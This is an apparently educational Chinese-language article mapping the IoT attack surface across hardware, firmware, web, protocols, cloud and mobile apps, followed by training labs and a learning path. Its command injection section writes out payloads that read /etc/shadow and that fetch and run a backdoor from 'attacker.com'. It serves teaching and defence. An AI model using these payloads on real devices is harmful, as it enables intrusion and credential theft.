聊到「物聯網安全(IoT Security)」,很多人第一個疑問都是:
我們現在討論的,到底是硬體安全、韌體安全、軟體安全,還是雲端安全?
答案是:全部都算。
因為物聯網不是單獨一台設備,而是一套從實體裝置、作業系統、網路通訊,一路連到後端雲端服務的完整系統。
只看其中一層,很容易低估它真正的攻擊面。
一台 IoT 設備,其實不是只有「那台設備」
假設今天有一台智慧攝影機。
使用者看到的是一台攝影機,背後跑的其實是這一整串東西:
硬體 → Bootloader → Firmware → OS → 應用程式 → 網路協定 → API → Cloud → App / Web
例如:
感測器 / 晶片
↓
Bootloader
↓
Firmware
↓
Linux / RTOS
↓
Web / App / Service
↓
Wi-Fi / BLE / MQTT / HTTP
↓
Internet
↓
Cloud API
↓
資料庫 / IoT Platform
↓
手機 App / 管理後台
攻擊者不一定要「破解硬體」。這條鏈上只要有一個環節出問題,就可能連帶影響整套 IoT 系統。
這也是 OWASP IoT Top 10(2018 年版,目前仍為最新版本)所強調的核心概念——IoT 的攻擊面不只是裝置本身,而是整個生態系統。
1. 硬體安全 Hardware Security
先從最靠近實體設備的硬體本身談起。
例如常見的研究方向包括:
- 除錯介面(Debug Interface):UART、JTAG、SWD — 這些是嵌入式系統常見的除錯與通訊介面,出廠時若未關閉,就可能成為直接進入系統的後門。
- 儲存介面:SPI、I2C — 用於讀寫外部晶片(如 Flash、EEPROM),可能被用來 Dump 韌體。
- 儲存元件:NAND / NOR Flash、EEPROM — 存放 Firmware 與設定資料的實體記憶體。
- 安全元件:Secure Element、TPM(Trusted Platform Module)— 用於保護密鑰、安全開機驗證。如果設備缺少這類元件,密鑰可能以明文形式存在 Flash 中。
- 系統單晶片:SoC(System on Chip)— 整合 CPU、記憶體控制器、周邊介面的核心晶片。
假設研究人員拿到一台路由器,通常會先拆機,看看 PCB 上有沒有 UART。
如果 UART 沒有關閉,甚至直接提供 root shell,攻擊者可能根本不用研究 Web 漏洞,接上幾條線就進去了。
硬體安全常關心的問題是:
拿到實體設備之後,我能不能直接從硬體取得系統控制權或機敏資訊?
例如:
拆機
↓
找到 UART(通常是 PCB 上未標記的 4 pin 接點:VCC / TX / RX / GND)
↓
用 USB-to-UART 轉接器連接(如 CP2102、FT232、CH340)
↓
設定正確的 Baud Rate(常見 115200)
↓
取得 Boot Log
↓
進入 Shell(如果沒有密碼保護)
↓
取得 Firmware
↓
繼續分析系統
所以硬體安全經常也是 IoT Security Research 的第一步。
補充:常見硬體分析工具
| 工具 用途 | |
|---|---|
| Bus Pirate | 通用匯流排分析(UART / SPI / I2C / JTAG) |
| JTAGulator | 自動辨識 JTAG / UART 接腳 |
| Logic Analyzer | 分析數位訊號時序 |
| Saleae Logic | 高品質邏輯分析儀 |
| Attify Badge | IoT 安全研究專用多介面工具(UART / SPI / I2C / JTAG / GPIO) |
| Flashrom | 讀寫 SPI Flash |
| OpenOCD | 開源 JTAG / SWD 除錯工具 |
2. 韌體安全 Firmware Security
接下來是韌體(Firmware)。
你可以把 Firmware 理解成:
「存在 IoT 裝置裡,負責控制設備運作的一整套系統軟體。」
例如家用路由器的 Firmware 裡面可能包含:
- Linux Kernel
- BusyBox(嵌入式 Linux 常見的精簡工具集)
- Web Server(如 lighttpd、mini_httpd、uhttpd)
- SSH Server(如 Dropbear)
- CGI(動態網頁處理)
- Library(如 uClibc、musl)
- Configuration
- Certificate
- Password
- API Key
- Startup Script
研究人員可能會先取得:
firmware.bin
取得方式有很多種:
- 從官方下載:許多廠商會在支援頁面提供韌體更新檔
- 從硬體 Dump:透過 SPI / JTAG 從 Flash 讀取
- 從網路攔截:在設備更新韌體時抓取下載流量
- 從手機 App 逆向:部分 App 內含韌體更新 URL
接著拆開:
Firmware
↓
File System(常見:SquashFS、JFFS2、CramFS、UBIFS)
↓
etc/
bin/
usr/
www/
常用的韌體分析工具:
| 工具 用途 | |
|---|---|
| binwalk | 辨識與解壓韌體中的檔案系統 |
| firmware-mod-kit | 韌體修改與重新打包 |
| Jefferson | JFFS2 檔案系統解壓 |
| sasquatch | 支援非標準 SquashFS 解壓 |
| ubi_reader | UBI / UBIFS 檔案系統解壓 |
| EMBA | 自動化韌體安全分析框架 |
| Firmware Analysis Toolkit(FAT) | Attify 開發的自動化韌體提取與分析工具 |
然後開始找:
- Hardcoded Password
- API Key
- Private Key
- 預設帳號
- 不安全的 Shell Script
- Web 漏洞
- Binary 漏洞(Buffer Overflow、Format String、Use-After-Free)
- 舊版 Library(已知 CVE)
- Command Injection
走到這裡,IoT Security 就會開始和 Linux Security、Web Security、Binary Exploitation 產生交集。
OWASP Firmware Security Testing Methodology(FSTM)
值得一提的是,OWASP 提供了一套九階段的韌體安全測試方法論(FSTM),專門用於系統化地進行韌體安全評估。九個階段包括:
- Information Gathering and Reconnaissance
- Obtaining Firmware
- Analyzing Firmware
- Extracting the Filesystem
- Analyzing Filesystem Contents
- Emulating Firmware
- Dynamic Analysis
- Runtime Analysis
- Binary Exploitation
這套方法論可以在 OWASP 的 GitHub 上找到,也是 IoTGoat 官方推薦搭配使用的測試指引。
3. 軟體安全 Software Security
很多人以為做 IoT 安全一定要拿電烙鐵、示波器或 Logic Analyzer,其實不一定。
現在有不少 IoT 漏洞,發生的地方其實是大家很熟悉的「軟體層」。
例如設備可能提供:
http://192.168.1.1
進入管理介面。
這時候你測試的東西其實就是一般 Web Security:
- Authentication Bypass
- IDOR(Insecure Direct Object Reference)
- Command Injection
- SQL Injection
- File Upload
- Path Traversal
- CSRF
- XSS
- SSRF
- Broken Access Control
例如:
POST /api/system/ping
host=8.8.8.8
後端如果直接執行:
ping 8.8.8.8
那麼輸入驗證做不好,就可能變成 Command Injection:
POST /api/system/ping
host=8.8.8.8;cat /etc/shadow
或是更進階的:
host=8.8.8.8$(wget http://attacker.com/backdoor -O /tmp/bd; chmod +x /tmp/bd; /tmp/bd)
IoT 設備上的 Command Injection 通常比一般 Web 應用更危險,原因有三:
- 大多數 IoT Web 服務以 root 權限運行,不需要提權
- 嵌入式系統通常缺乏 ASLR、Stack Canary 等防護機制
- 設備通常沒有即時更新機制,漏洞修補緩慢
所以你研究的主題雖然叫 IoT Security,實際下手測試的卻可能是 Web Application Security。
4. 網路與通訊協定安全
IoT 有一個很重要的特性:設備彼此之間需要通訊。
因此網路協定也是非常大的攻擊面。
例如:
IP 層級協定:
- HTTP / HTTPS
- MQTT(Message Queuing Telemetry Transport)— IoT 最常見的訊息協定
- CoAP(Constrained Application Protocol)— 為受限裝置設計的輕量 REST 協定
短距離無線協定:
- BLE(Bluetooth Low Energy)— 穿戴裝置、感測器常用
- Zigbee — 智慧家庭設備常用(如 Philips Hue)
- Z-Wave — 家庭自動化
- NFC — 近距離通訊(門禁、支付)
- Wi-Fi
工業協定(OT / ICS):
- Modbus — 工業控制系統常用,設計時完全沒有考慮安全性
- CAN Bus — 車載通訊匯流排
其他:
- LoRa / LoRaWAN — 長距離低功耗通訊
- Proprietary Protocol — 廠商自定義協定
MQTT 安全問題深入分析
MQTT 是 IoT 常見的訊息協定,這裡多說一點。
IoT Device
↓
MQTT(Publish 訊息到 Topic)
↓
Broker(如 Eclipse Mosquitto、HiveMQ、EMQX)
↓
Subscriber(其他設備或後端服務)
如果設備直接使用:
mqtt://example.com:1883
Port 1883 是 MQTT 的預設 TCP 連接埠,資料以明文傳輸。安全的做法是使用 Port 8883(MQTT over TLS),兩者皆已在 IANA 正式註冊。
而且如果 Broker 沒有設定 Authentication(許多 Broker 如 Mosquitto 預設允許匿名連線),就可能出現:
- Sniffing — 攔截明文訊息
- Credential Leakage — 因 MQTT CONNECT 封包中的帳密也是明文
- Topic Enumeration — 使用
#(萬用字元)訂閱所有 Topic - Unauthorized Subscribe — 未授權訂閱敏感 Topic
- Unauthorized Publish — 發送偽造控制命令
- Device Spoofing — 冒充其他設備
根據 Shodan 搜尋,全球有超過 60 萬個 MQTT Broker 暴露在網際網路上(Port 1883),其中約 47,000 個允許匿名連線。
因此做 IoT 研究時,幾乎不可能完全避開 Network Security。
5. Cloud Security
雲端是現在很容易被忽略的一層。
很多 IoT 設備早就不只是:
手機 → 設備(直接通訊)
而是:
IoT Device
↓
Internet
↓
Cloud API
↓
Mobile App
例如智慧門鎖。
你在手機 App 按下:
開門
真正的流程可能是:
Mobile App
↓
api.vendor.com(HTTPS API)
↓
Cloud Platform(AWS IoT Core / Azure IoT Hub / Google Cloud IoT)
↓
MQTT Broker
↓
Smart Lock(接收到 unlock 命令)
所以如果 Cloud API 出現:
POST /api/device/unlock
{
"device_id": "12345"
}
攻擊者修改:
{
"device_id": "12346"
}
結果可以控制別人的門鎖。
這個漏洞看起來是:
IDOR / Broken Access Control
但它造成的卻是:
IoT Device Takeover。
這正是 IoT Security 特別的地方:漏洞可能出現在 Cloud,影響的卻是現實世界裡的設備。
雲端層常見的 IoT 安全問題
- IDOR(不安全的直接物件參照):透過修改 device_id 控制他人設備
- JWT / Token 問題:Token 沒有綁定 device ownership 驗證
- OTA 更新未簽章:韌體更新傳輸未驗證完整性,可被中間人攻擊替換
- 影子設備(Device Shadow)配置不當:AWS IoT Shadow、Azure Device Twin 的存取控制過寬
- MQTT Topic ACL 缺失:雲端 Broker 未限制 Topic 層級權限,一台設備可訂閱所有設備的訊息
6. Mobile App Security
很多 IoT 還會搭配手機 App。
例如:
- 智慧攝影機
- 智慧門鎖
- 掃地機器人
- 智慧插座
- 智慧家電
這時候攻擊面又會多一層:
Android / iOS App。
研究人員可能會 Reverse Engineering App,尋找:
- API Endpoint
- Hardcoded Token
- API Key
- Firebase Configuration(特別是 Firebase Realtime Database 的存取規則)
- MQTT Credential(包括 Broker 地址、帳密、Client ID 格式)
- Encryption Key
- Hidden API(未公開的管理 API)
- Debug Function
- Certificate Pinning 繞過
常用 Mobile 分析工具:
| 工具 平台 用途 | ||
|---|---|---|
| JADX | Android | APK 反編譯為 Java 原始碼 |
| APKTool | Android | APK 反組譯、修改、重新打包 |
| Frida | Android / iOS | 動態 Hook 與 Instrumentation |
| Objection | Android / iOS | 基於 Frida 的行動安全測試框架 |
| MobSF | Android / iOS | 自動化行動安全分析框架 |
| Burp Suite | 通用 | 攔截 App 與後端 API 的通訊 |
所以研究 IoT 時,第一個被逆向的東西不一定是 Firmware,也可能是:
app.apk
再從 App 裡找到:
Cloud API(https://api.vendor.com/v2/)
MQTT Broker(mqtt.vendor.com:8883)
Device API(http://192.168.x.x/api/)
Credential(API Key、Token、Certificate)
一路往後追。
IoT Security 最大的特色:跨領域
因此如果問:
IoT Security 到底是哪一種資安?
很難只用單一領域回答,它比較像:
Hardware Security(硬體介面、側通道攻擊、Fault Injection)
+
Firmware Security(韌體提取、檔案系統分析、設定檢查)
+
Binary Security(逆向工程、漏洞利用、ROP Chain)
+
Web Security(API 測試、認證繞過、注入攻擊)
+
Network Security(協定分析、流量攔截、中間人攻擊)
+
Mobile Security(App 逆向、動態分析、API 擷取)
+
Cloud Security(IAM 配置、API 存取控制、OTA 安全)
+
Wireless Security(BLE、Zigbee、Wi-Fi、LoRa、SDR)
+
Cryptography(密鑰管理、加密實作、隨機數產生)
而 IoT Security Researcher 做的事情,很多時候就是:
把這些不同的攻擊面串起來。
這也是 OWASP IoT Security Testing Guide(ISTG)所強調的方法論——不要只看單一層面,而是要理解整個生態系統的交互作用。ISTG 提供了完整的 IoT 滲透測試方法論,比 OWASP IoT Top 10 更具操作性。
真正有趣的地方,是「攻擊鏈」
例如今天研究一台智慧攝影機。
可能出現這樣的攻擊流程:
拆設備
↓
找到 UART
↓
取得 Firmware
↓
分析 File System
↓
找到 Hardcoded Credential(MQTT Broker 的帳密)
↓
登入 MQTT Broker
↓
發現其他設備的 Topic
↓
分析 Cloud API(從 MQTT 訊息中找到 API Endpoint)
↓
Broken Access Control(修改 device_id)
↓
控制其他使用者的 Camera
這時候到底是哪一種漏洞?
其實一路包含:
Hardware + Firmware + Network + Cloud + Access Control。
IoT Security 的重點就在這裡:把不同層次的問題串成一條完整攻擊鏈。
再舉一個真實案例的典型模式:
逆向手機 App(APK)
↓
找到 Firebase Database URL
↓
發現 Firebase Rules 設為 public read/write
↓
讀取所有使用者的設備清單、Token、Location
↓
用 Token 呼叫 Cloud API
↓
控制其他使用者的設備
這條攻擊鏈從 Mobile App 出發,經過 Cloud(Firebase),最終影響 IoT Device。完全不需要碰硬體。
所以學 IoT Security,到底應該從哪裡開始?
不用一開始就把所有東西學完,先從自己原本熟悉的領域往外延伸就好。
如果原本是 Web Security:
Web
→ IoT Web Interface 測試(http://192.168.1.1)
→ API Security
→ Mobile App 逆向
→ Firmware 檔案系統分析
→ Hardware
如果原本是 Linux:
Linux
→ Embedded Linux(BusyBox、OpenWrt、Buildroot)
→ Firmware 提取與分析
→ Reverse Engineering(ARM / MIPS 架構)
→ Hardware 介面
如果原本是 硬體 / 電子背景:
Electronics
→ UART / JTAG / SWD
→ Firmware Extraction(SPI Flash Dump)
→ Binary Analysis
→ Software Security
如果原本是 Cloud:
Cloud(AWS / Azure / GCP)
→ IoT Platform(AWS IoT Core / Azure IoT Hub)
→ API Security
→ MQTT Broker Security
→ Device Authentication(X.509、Token、SAS)
→ Firmware OTA 安全
如果原本是 Mobile App:
Android / iOS Reversing
→ 從 App 提取 API Endpoint / Credential
→ Cloud API 測試
→ MQTT / BLE 協定分析
→ Firmware
→ Hardware
最後再慢慢把不同領域串起來。
有哪些 IoT Security 靶場或平台可以學?
這也是大家很常問的問題:
「請問各位大大,IoT 安全有沒有推薦的靶場或平台可以學習?」
有,不過 IoT 安全和 Web 滲透不太一樣。
目前比較少有那種「像 Hack The Box 一樣,所有內容都能在同一個平台刷完」的地方。
更常見的方式是:
Firmware 靶機 + Embedded Linux + Reverse Engineering + Hardware Lab + 通訊協定 Lab
慢慢拼成完整能力。
1. OWASP IoTGoat
如果完全不知道怎麼開始,我最推薦先玩 OWASP IoTGoat。
IoTGoat 是 OWASP 建立的故意脆弱 IoT Firmware,基於 OpenWrt。
很適合拿來當作第一個 IoT 靶機。
可以練習:
- Firmware Analysis
- Embedded Linux
- Hardcoded Credentials
- Insecure Services(如可被利用的 miniupnp 配置)
- Web Security(隱藏的診斷頁面)
- Configuration 問題(Dnsmasq 漏洞)
- 常見 IoT 弱點(對應 OWASP IoT Top 10 2018)
它最大的優點是,不用一開始就買硬體。
提供多種使用方式:
- 靜態分析:下載預編譯的 Firmware 映像,用 binwalk 提取檔案系統
- 動態分析:下載 VMware(.vmdk)或 VirtualBox(.vdi)映像,直接啟動虛擬機
- 實體設備:也可以燒錄到 Raspberry Pi 2 或 A5-V11 迷你路由器上
可以先練習從 Firmware 開始分析,再慢慢理解 Embedded Linux 的世界。
建議搭配 OWASP Firmware Security Testing Methodology(FSTM)一起使用。
GitHub:OWASP/IoTGoat(約 915 Stars,持續維護中)
2. Damn Vulnerable Router Firmware(DVRF)
如果開始想碰:
Firmware + Reverse Engineering + Embedded Architecture
可以玩 DVRF。
它是一個故意設計成有漏洞的 Router Firmware,由安全研究員 b1ack0wl 建立,原本是為 Linksys E1550 路由器設計。
可以練:
- Firmware Extraction
- MIPS 架構逆向工程(這是學習 x86_64 以外 CPU 架構的好起點)
- Embedded Linux
- Binary Analysis(Stack Buffer Overflow、Heap Overflow)
- Reverse Engineering
- Router Security
重要提醒:
- 不需要擁有 Linksys E1550。可以透過 QEMU 模擬 MIPS 環境來練習大部分挑戰。
- 但部分挑戰(pwnable 類型)的原始設計需要透過 UART 連接實體設備。
- 專案最近一次更新為 2024 年,部分內容較為老舊。
這很適合原本已經會:
Linux
Web
基本逆向
接著往:
Firmware
MIPS
Binary Exploitation
走的人。
GitHub:praetorian-inc/DVRF
替代選擇: 如果覺得原版 DVRF 太舊,BloodyOrangeMan 有一個基於 OpenWrt 改造的新版本,用 CTF 模式呈現,部分題目基於公開 CVE,可以作為補充。
3. Damn Vulnerable IoT Device(DVID)
再往前一步,可以接觸:
Damn Vulnerable IoT Device。
⚠️ 注意:DVID 是一塊實體硬體板,不是純軟體靶機。
DVID 由法國安全研究員 Arnaud Courty(@vulcainreo)設計,核心硬體為 Atmega328p 微控制器搭配 OLED 螢幕,提供 UART、Bluetooth(AT-09 BLE 模組)、2.4GHz、Wi-Fi 等介面。
你需要:
- DVID 板子(約 40-45 歐元,可在市場購買或用 Gerber 檔自行焊接製作)
- USBasp(AVR 燒錄器,用來刷入不同挑戰的 Firmware)
- USBuart(UART 通訊轉接器,用來與板子互動)
目前已推出 DVID v2 版本,新增了更多挑戰和改良的訓練模組。
可以練:
- Hardware Hacking 基礎(UART 連接、Datasheet 閱讀)
- Firmware 刷寫與分析
- BLE(Bluetooth Low Energy)安全
- Default / Hardcoded Credential
- 設備與感測器互動
從這裡開始,你會慢慢看出 IoT Security 和一般 Web CTF 的差別。
因為你要考慮的不再只有:
IP
Port
Web
而是:
Hardware(哪個 Pin 是 TX?Baud Rate 是多少?)
Firmware(怎麼燒錄?用什麼工具?)
Wireless(BLE 廣播了什麼?怎麼連線?)
Protocol(UART 的資料格式是什麼?)
GitHub:Vulcainreo/DVID
4. Microcorruption
如果你不想買硬體,但又想練習嵌入式系統的漏洞利用:
Microcorruption 是一個非常經典的線上 CTF 平台。
它模擬一個基於 MSP430 微控制器的嵌入式門鎖系統,你需要在瀏覽器中的除錯器裡分析組合語言,找出漏洞來「開鎖」。
可以練:
- 嵌入式系統組合語言閱讀
- Buffer Overflow
- Stack 分析
- 嵌入式系統的記憶體佈局理解
完全不需要實體硬體,純瀏覽器操作,難度由淺到深,非常適合入門。
網站:microcorruption.com
5. BLE CTF
如果對 Bluetooth Low Energy 安全有興趣:
BLE CTF 是專門針對 BLE 協定安全的 CTF 練習。
可以用 ESP32 搭建 BLE CTF 環境,練習:
- BLE 掃描與列舉(Scanning / Enumeration)
- GATT Service 與 Characteristic 分析
- BLE 通訊攔截
- 寫入攻擊
- BLE Spoofing
GitHub:hackgnar/ble_ctf
6. Attify
如果希望有比較完整的 IoT Pentesting 學習路線,可以參考 Attify。
Attify 由 Aditya Gupta 創辦(著有《The IoT Hacker’s Handbook》和《IoT Penetration Testing Cookbook》),長期專注在 IoT Security、Hardware Hacking 與 Embedded Security。
Attify 提供的資源包括:
免費資源:
- AttifyOS — 預設整合 40 多種 IoT 安全測試工具的 Linux 發行版,包括韌體分析、射頻測試、逆向工程、網路分析工具。省去大量環境建置的時間。
- IoT Security Mindmap — 完整的 IoT 安全評估視覺化參考圖
- Firmware Analysis Toolkit(FAT) — 自動化韌體提取與分析工具
付費培訓:
- Offensive IoT Exploitation(OIX) — 完整的 IoT 滲透測試培訓,涵蓋 Hardware、Firmware、Wireless、Protocol、Cloud 各層
- ACIP(Attify Certified IoT Pentester) — IoT 安全認證考試,150 題涵蓋所有 IoT 安全領域
比較適合已經有一些:
- Linux
- Web Pentest
- Reverse Engineering
基礎後,再系統化進入 IoT Security。
7. SANS SEC556:IoT Penetration Testing
如果是企業培訓,或想看比較完整的 IoT Penetration Testing 技能樹,也可以參考:
SANS SEC556: IoT Penetration Testing
課程規格:
- 時長:3 天(Instructor-Led)/ 18 小時(Self-Paced)
- 等級:Intermediate
- 實作:13 個 Hands-On Lab
- CPE:18 學分
內容涵蓋三大模組:
- 網路與 Web 服務:Network Recon、Web Application 漏洞、API 測試
- 硬體與韌體:Hardware 介面識別(Serial / SPI / JTAG)、Firmware 提取與分析
- 無線技術:Wi-Fi、BLE、Zigbee、LoRA、SDR(Software-Defined Radio)
Lab 使用真實硬體,包括 HackRF SDR、Raspberry Pi、Zigbee Adapter 等。
SANS 的價格比較高(通常數千美元),不太適合當作新手的第一門課。
不過它的課綱很好用:
直接看它的課綱(Syllabus),拿來當 IoT Security 學習地圖。
課綱可以在 SANS 官網免費下載。
其他值得關注的資源
OWASP IoT Security Testing Guide(ISTG)
OWASP 提供的完整 IoT 安全測試指南,比 IoT Top 10 更具操作性。涵蓋完整的 IoT 滲透測試方法論,提供測試案例目錄,並建立了廠商、營運商與測試團隊之間的共通術語。
GitHub:OWASP/owasp-istg
ARM-X by Saumil Shah
ARM-X 是一個韌體模擬框架,可以在 QEMU 中模擬各種 ARM 架構的 IoT / 路由器韌體。附帶多個 CTF 挑戰,適合練習 ARM 架構的韌體分析與漏洞利用。
EMBA
開源的自動化韌體安全分析框架。可以自動提取韌體、掃描已知漏洞(CVE)、檢查 Hardcoded Credential、分析二進位檔案的安全性。適合想要自動化韌體分析流程的人。
GitHub:e-m-b-a/emba
Hack The Box、TryHackMe 可以學 IoT 嗎?
可以。
但我比較不會把 HTB / THM 定位成:
IoT 專用平台。
它們比較適合拿來補足 IoT Security 需要的基礎能力:
Linux(檔案系統、權限、服務管理)
Web(HTTP、API、認證機制)
Network(TCP/IP、Wireshark、Nmap)
Reverse Engineering(x86 / x64 逆向)
Binary Exploitation(Buffer Overflow、ROP)
Privilege Escalation(Linux / Windows 提權)
等這些底層能力打好之後,再進 IoT 會輕鬆很多。
因為真正開始研究 IoT 後,會接觸到:
除錯介面:UART、JTAG、SWD
儲存介面:SPI、I2C
CPU 架構:ARM(Cortex-M / Cortex-A)、MIPS
韌體分析:binwalk、Ghidra、IDA
嵌入式系統:Embedded Linux、RTOS(FreeRTOS、Zephyr)
通訊協定:MQTT、BLE、Zigbee、LoRa
行動端:Android / iOS App 逆向
雲端:AWS IoT / Azure IoT / Cloud API
所以 IoT 安全很難只靠一個平台一路刷到底。
新手可以怎麼安排學習順序?
如果你原本已經有 Web / Linux 基礎,我會建議:
Phase 1:韌體分析入門
├── OWASP IoTGoat(第一個靶機,不用買硬體)
├── 學會 binwalk / strings / grep / find
├── 理解 Embedded Linux 檔案系統結構
└── 搭配 OWASP FSTM 方法論
Phase 2:逆向工程
├── DVRF(MIPS 架構入門)
├── Microcorruption(嵌入式組合語言)
├── 學會 Ghidra / IDA Free
└── 理解 ARM / MIPS 架構差異
Phase 3:硬體介面
├── 買 USB-to-UART 轉接器(CP2102,約 NT$100)
├── 在便宜設備上練習找 UART
├── 嘗試 SPI Flash Dump
└── 逐步接觸 JTAG / SWD
Phase 4:無線協定
├── MQTT(用 Mosquitto 建本地 Lab)
├── BLE(用 ESP32 + BLE CTF)
├── Zigbee(如果有預算,用 CC2531 Sniffer)
└── Wi-Fi(基本攻擊已有大量資源)
Phase 5:Mobile + Cloud
├── Android App 逆向(JADX + Frida)
├── API Security 測試
├── MQTT Broker 安全
└── Cloud IoT Platform 設定
這條路會比一開始就先買一堆工具順很多:
買示波器(NT3,000+)
買 Bus Pirate(NT1,000+)
買 JTAGulator(NT5,000+)
買 Logic Analyzer(NT500+)
↓
然後不知道自己在看什麼
工具當然可以買,但最好先想清楚:
「我要從設備裡取得什麼?」
「這個訊號代表什麼意思?」
「取得之後下一步要做什麼?」
先有這些概念,工具買回來才知道怎麼用。
實體設備可以從什麼開始?
等有 Firmware 與 Embedded Linux 基礎之後,就可以開始買一些便宜設備玩。
例如:
| 設備 價格範圍 可以練什麼 | ||
|---|---|---|
| ESP32 / ESP8266 | NT$100-300 | Wi-Fi / BLE / MQTT / 韌體開發 |
| 家用 Router | NT$300-1,000(二手) | UART / Firmware / Web / Network |
| IP Camera | NT$500-1,500 | 完整攻擊鏈(Hardware → Cloud) |
| Smart Plug | NT$300-800 | Wi-Fi / App / Cloud API |
| BLE Sensor | NT$200-500 | BLE 協定分析 |
| 智慧燈泡 | NT$300-500 | Zigbee / Wi-Fi / App |
| DVID v2 | 約 €45(NT$1,500) | 結構化 Hardware Hacking 練習 |
這時候可以開始真的做:
拆機
↓
看 PCB(辨識晶片型號、找 Debug Port)
↓
找 UART(量測、接線、測 Baud Rate)
↓
分析 Boot Log(U-Boot?Bootloader 有沒有中斷機制?)
↓
Dump Firmware(從 UART shell 或 SPI Flash)
↓
分析 File System(找密碼、Key、設定檔)
↓
Reverse Binary(逆向 Web Server 或自定義 Daemon)
↓
抓 Network Traffic(Wireshark / tcpdump)
↓
分析 MQTT / API 通訊
↓
測試 Cloud API(認證、授權、IDOR)
做到這裡,整條攻擊鏈就會慢慢串起來。
物聯網安全不是一個點,而是一條鏈
所以之後看到「IoT Security」這個詞時,可以先不要急著問:
「這是不是要拆硬體?」
更值得先問的是:
「這個 IoT 系統的 Trust Boundary 在哪裡?」
以及:
「資料從裝置產生之後,到最後被使用,中間經過了哪些元件?」
把整條鏈畫出來:
Hardware
↓
Bootloader(Secure Boot 有沒有啟用?)
↓
Firmware(韌體有沒有簽章驗證?)
↓
OS(Kernel 版本?已知漏洞?)
↓
Application(Web / Service 有沒有安全問題?)
↓
Protocol(通訊有沒有加密?認證機制?)
↓
Network(封包可不可以被攔截?)
↓
Cloud(API 有沒有存取控制?)
↓
API(認證、授權、速率限制?)
↓
Mobile / Web(App 有沒有洩漏敏感資訊?)
接著再逐層問:
哪裡可以被控制?
哪裡有資料?
哪裡需要身份驗證?
哪裡需要授權?
哪裡存在信任?
哪裡一旦被突破,可以影響下一層?
做到這裡,才算真的開始做 IoT Security。
物聯網安全之所以難,不是因為每一項技術都很神祕,而是它把原本分散在不同領域的資安問題,全部塞進同一套系統裡。
你不需要一開始就精通每一層,但要知道每一層負責什麼、彼此怎麼互相信任,以及哪個環節最容易被突破。先從自己熟悉的地方切入,再逐步把攻擊面串起來,就是學 IoT Security 最實際的方式。
參考資源彙整
| 資源 類型 連結 | ||
|---|---|---|
| OWASP IoT Top 10(2018) | 風險清單 | owasp.org/www-project-internet-of-things |
| OWASP IoT Security Testing Guide | 測試方法論 | github.com/OWASP/owasp-istg |
| OWASP FSTM | 韌體測試方法論 | github.com/scriptingxss/owasp-fstm |
| OWASP IoTGoat | 靶機 | github.com/OWASP/IoTGoat |
| DVRF | 靶機 | github.com/praetorian-inc/DVRF |
| DVID | 硬體靶機 | github.com/Vulcainreo/DVID |
| Microcorruption | 線上 CTF | microcorruption.com |
| BLE CTF | BLE 靶機 | github.com/hackgnar/ble_ctf |
| AttifyOS | 安全測試發行版 | github.com/adi0x90/attifyos |
| EMBA | 韌體分析框架 | github.com/e-m-b-a/emba |
| Attify Training | 培訓 | attify.com |
| SANS SEC556 | 培訓 | sans.org/cyber-security-courses/iot-penetration-testing |
| HardwareAllTheThings | 參考資源集 | github.com/swisskyrepo/HardwareAllTheThings |
